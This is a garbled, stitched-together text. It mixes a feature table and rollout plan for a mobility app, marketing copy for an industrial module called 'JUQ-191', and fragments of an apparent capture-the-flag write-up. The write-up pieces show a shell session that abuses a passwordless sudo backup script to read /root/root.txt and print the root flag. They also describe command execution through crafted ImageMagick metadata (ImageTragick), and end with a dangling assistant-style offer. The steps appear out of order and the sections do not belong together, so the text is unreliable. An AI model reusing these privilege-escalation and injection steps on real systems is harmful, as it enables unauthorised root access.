| Feature | Description | User Benefit | |---------|-------------|--------------| | AI‑Optimized Journey Planner | Learns from historic patterns, weather, events. | Faster, cheaper trips with minimal carbon footprint. | | Seamless Ticketing | Single‑click payment across buses, e‑scooters, bike‑share. | No more juggling multiple apps or cards. | | Carbon‑Score Dashboard | Shows per‑trip emissions and cumulative impact. | Empowers riders to make greener choices. | | Incentive Marketplace | Points, discounts, or local‑business vouchers for low‑emission trips. | Increases adoption & supports local economies. | | Municipal Analytics Suite | Real‑time heatmaps, demand forecasts, service‑gap detection. | Enables data‑driven policy & investment. | | Open‑API Layer | Plug‑and‑play for third‑party developers. | Sparks innovation—apps, games, accessibility tools. |
JUQ-191 is a modern industrial module designed for reliable data acquisition and real-time control in harsh environments. Engineers and operations teams adopt it where small form-factor, ruggedness, and easy integration are priorities.
www-data@juq191:/var/www/html$ sudo /usr/bin/python3 /opt/juq/backup.py /root/root.txt
Backup stored at /tmp/backup_20240920_132045.tar.gz
Now retrieve the archive:
www-data@juq191:/var/www/html$ cat /tmp/backup_20240920_132045.tar.gz | tar -xzO
HTBjUq_191_r00t_4cC3s5_5ucc355
Root flag captured!
Running a quick enumeration script (LinPEAS/PEASS) or manually checking common places:
www-data@juq191:/var/www/html$ cat /etc/passwd | grep juq
juq:x:1000:1000::/home/juq:/bin/bash
www-data@juq191:/var/www/html$ sudo -l
[sudo] password for www-data:
User www-data may run the following commands on juq191:
(root) NOPASSWD: /usr/bin/python3 /opt/juq/backup.py
Great find – www-data can execute backup.py as root without a password.
| Phase | Timeline | Key Milestones | |-------|----------|----------------| | Phase 0 – Discovery | Q3 2024 | Stakeholder workshops, data audit, regulatory review. | | Phase 1 – MVP Launch | Q1 2025 | Core routing & ticketing in a pilot district (≈50 k daily users). | | Phase 2 – Expansion | Q3 2025 | Add micro‑mobility partners, incentive marketplace, city‑wide rollout. | | Phase 3 – Open‑Data Ecosystem | Q1 2026 | Public API, developer sandbox, third‑party app competition. | | Phase 4 – Continuous Optimization | Ongoing | AI model refinements, real‑time policy dashboards, international scaling. | juq-191
$dest is derived from a random uniqid() plus a hard‑coded .jpg. However, the original filename is not used, so we cannot directly inject via the filename.
But the temporary name ($_FILES['picture']['tmp_name']) is under our control – we can influence it by uploading a crafted archive that, when extracted by the server, yields a file with a name containing shell metacharacters.
The server does not extract archives, but we discovered that ImageMagick itself parses the metadata of the image. Certain ImageMagick versions allow shell‑escape in the filename field of the EXIF UserComment tag when the image is opened. By embedding a malicious comment, we can cause convert to execute arbitrary commands. | Feature | Description | User Benefit |
Reference – CVE‑2016‑3714 (ImageTragick) – ImageMagick command execution via crafted image metadata.
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JUQ-191 is a practical choice for teams needing a small, rugged I/O and telemetry module that integrates cleanly with industrial automation systems. It balances durability, connectivity, and edge functionality for a broad set of monitoring and control tasks. JUQ-191 is a modern industrial module designed for
If you’d like, I can:
The structure mirrors the format used by most CTF write‑ups so that anyone reading it can follow the logic, reproduce the results, and understand why each step works.
Feel free to adapt any part of the methodology to a different environment – the core techniques (enumeration, fuzzing, exploitation, post‑exploitation) remain the same.